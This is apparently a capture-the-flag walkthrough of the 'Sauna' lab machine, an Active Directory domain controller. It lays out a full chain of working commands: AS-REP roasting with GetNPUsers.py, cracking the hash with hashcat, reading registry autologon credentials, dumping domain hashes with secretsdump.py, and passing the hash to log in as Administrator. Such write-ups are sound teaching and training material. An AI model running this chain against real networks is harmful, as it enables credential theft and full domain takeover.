Jump Ahead: Enum – User – Root – Resources
TL;DR;
To solve this machine we enumerate open ports – finding many ports associated with Active Directory to be open. Going to the website, we find a list of names on the about.html page. Using GetNPUsers.py, we are able to guess the username schema, and get a TGT for fsmith. Next, we use JohnTheRipper to crack the TGT and get fsmith‘s password. Using evil-winrm, we are able to get access to the machine – getting user.txt. After running WinPEAS, we gain creds to a service account from a registry. Using secretsdump.py, we are able to dump domain hashes. Finally, using the PassTheHash technique with evil-winrm, we are able to get access to the machine as Administrator – getting root.txt.
Enumeration
Like all machines, we begin by enumerating all open services. Doing so, we get a ton of results.
$ nmap -p- -T4 -v 10.10.10.175[...]$ nmap -A -oA scans/nmap/tcp-scripts -p 135,53,445,139,80,49686,593,9389,5985,88,49673,3269,49674,49675,636,389,3268,464,53047 10.10.10.175# Nmap 7.80 scan initiated Fri Apr 10 09:05:47 2020 as: nmap -A -oA scans/nmap/tcp-scripts -p 135,53,445,139,80,49686,593,9389,5985,88,49673,3269,49674,49675,636,389,3268,464,53047 10.10.10.175Nmap scan report for 10.10.10.175Host is up (0.051s latency).PORT STATE SERVICE VERSION53/tcp open domain?| fingerprint-strings: | DNSVersionBindReqTCP: | version|_ bind80/tcp open http Microsoft IIS httpd 10.0| http-methods: |_ Potentially risky methods: TRACE|_http-server-header: Microsoft-IIS/10.0|_http-title: Egotistical Bank :: Home88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-04-10 22:08:59Z)135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)445/tcp open microsoft-ds?464/tcp open kpasswd5?593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0636/tcp open tcpwrapped3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)3269/tcp open tcpwrapped5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0|_http-title: Not Found9389/tcp open mc-nmf .NET Message Framing49673/tcp open msrpc Microsoft Windows RPC49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.049675/tcp open msrpc Microsoft Windows RPC49686/tcp open msrpc Microsoft Windows RPC53047/tcp open msrpc Microsoft Windows RPC1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :SF-Port53-TCP:V=7.80%I=7%D=4/10%Time=5E907D47%P=x86_64-pc-linux-gnu%r(DNSVSF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\SF:x04bind\0\0\x10\0\x03");Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windowsHost script results:|_clock-skew: 8h03m04s| smb2-security-mode: | 2.02: |_ Message signing enabled and required| smb2-time: | date: 2020-04-10T22:11:17|_ start_date: N/AService detection performed. Please report any incorrect results at https://nmap.org/submit/ .# Nmap done at Fri Apr 10 09:10:52 2020 -- 1 IP address (1 host up) scanned in 304.43 seconds |
From these results, we learn the domain name is EGOTISTICAL-BANK.LOCAL, and based on the open ports, we can assume it’s an active directory domain controller.
Getting User
Looking at the website, we find a list of potential users on the /about.html page.
Potential users for the machine
Using Impacket’s GetNPUsers.py, we are able to guess the username schema to find users without Kerberos Pre-Authentication enabled, and get a Ticket Granting Ticket (TGT) for fsmith.
$ GetNPUsers.py -dc-ip $RHOST -no-pass EGOTISTICAL-BANK.local/fsmith |
Getting a TGT for fsmith
Using hashcat, we are able to crack fsmith‘s password (which is used to encrypt the TGT).
$ hashcat -m 18200 list.hashes wordlists/rockyou.txt |
Cracked fsmith’s password
Since we now have a valid credential, we are able to log into the machine using evil-winrm (WinRM is running on port 5985), and get user.txt.
$ ./evil-winrm.rb -i 10.10.10.175 -u fsmith -p password |
Logged into the machine as fsmith and read user.txt
Getting Root
Having gained access to the machine, we begin local enumeration using WinPEAS. While looking at the results, we see that credentials for the svc_loanmanager are located in the HKLM\Software\Microsoft\Windows_NT\Currentversion\WinLogon registry key.
Got a password for svc_loanmanager
Using Impacket’s secretsdump.py with these new credentials, we are able to dump domain password hashes.
$ secretsdump.py 'EGOTISTICAL-BANK/svc_loanmgr:password@10.10.10.175' |
Dumping AD hashes
Using the hash for administrator, we are able to use evil-winrm to log into the machine and retrieve root.txt
$ ./evil-winrm.rb -i 10.10.10.175 -u administrator -H passwordhash |
Logging in and getting root.txt
Thank you for taking the time to read my write-up. I am interested in other ways this machine has been solved. Feel free to reach out to me and we can discuss it. Thanks!
